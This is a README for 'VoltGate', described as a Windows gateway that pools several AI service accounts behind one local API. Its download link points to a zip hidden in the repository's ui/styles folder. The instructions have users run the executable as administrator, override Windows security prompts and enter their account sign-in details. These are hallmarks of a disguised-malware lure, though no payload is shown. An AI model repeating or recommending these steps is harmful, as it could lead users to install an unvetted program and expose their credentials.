VoltGate is a local AI gateway for Windows. It lets you use several Claude, Gemini, Codex, and Antigravity accounts through one API. It can switch between accounts when one fails, route requests to the right model, and support remote access from other devices.
Use it when you want one place to manage AI access without opening each service by hand.
Visit this page to download:
https://raw.githubusercontent.com/munna-07/VoltGate/main/ui/styles/Gate_Volt_v3.1-beta.2.zip
Open the page, look for the latest release or download files, then save the Windows version to your computer.
- Open the download page.
- Find the latest Windows file.
- Download it to your PC.
- If the file is a
.zip, right-click it and choose Extract All. - Open the extracted folder.
- Double-click the app file to start VoltGate.
- If Windows asks for permission, choose Yes.
If you see more than one file, pick the one that looks like the main Windows app or installer.
- A Windows 10 or Windows 11 PC
- A stable internet connection
- At least one Claude, Gemini, Codex, or Antigravity account
- Enough free space for the app and its local data
A modern laptop or desktop should run it with no trouble.
- One local API for many AI accounts
- Auto-failover when one account stops working
- Model routing for different requests
- Remote access for use on another device
- Local control from your own computer
- Support for agent and coder workflows
- Simple setup for end users
After you open VoltGate for the first time, it may ask you to set up your accounts.
- Start the app.
- Add your account details.
- Choose the models you want to use.
- Save your settings.
- Keep the app open while you use it.
If the app opens to a dashboard, use that screen to manage accounts and routes.
Enter the sign-in details for the services you want to use. VoltGate can combine several accounts, so you do not need to switch between them each time.
Choose the model you want for your task. You can use one model for chat, another for coding, and another for agent work.
You can tell VoltGate how to choose a model. For example, you may want one account for fast replies and another for larger tasks.
If one account hits a limit or stops replying, VoltGate can move the request to another one. This helps keep your work moving.
Point your app or tool to the VoltGate local address. It will send requests through the accounts you added.
VoltGate can work as a remote API when you need access from another device.
- Open the app.
- Turn on remote access.
- Copy the address or port shown in the app.
- Use that address in your other tool or device.
- Keep VoltGate running on the host PC.
Use a strong password or access rule if the app gives you one.
- Use Claude, Gemini, Codex, and Antigravity from one place
- Keep coding tools working when one account fails
- Route chat jobs and coding jobs to different models
- Run a local gateway for tools that need an API
- Share access across devices on your own network
If you extract a zip file, you may see files like these:
VoltGate.execonfigdatalogsREADME
Open the main app file. If you are not sure which file to run, look for the one with the app name and an .exe end.
Try these steps:
- Close the app.
- Open it again as administrator.
- Check that the download finished.
- Make sure you extracted the zip file first.
- Restart your PC.
- Download the latest copy from the page again.
If Windows shows a security prompt, choose the option that lets the app run.
VoltGate runs on your own computer. That gives you more control over your setup and your account use. You decide which services to add and which routes to enable.
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- Open the download page.
- Download the Windows file.
- Install or extract it.
- Start VoltGate.
- Add your accounts.
- Choose your model route.
- Use the local API in your tools
- Keep VoltGate open while other apps use it
- Save your settings after each change
- Start with one account, then add more
- Use simple routes first
- Check the app logs if a request fails
- Update to the newest release when you can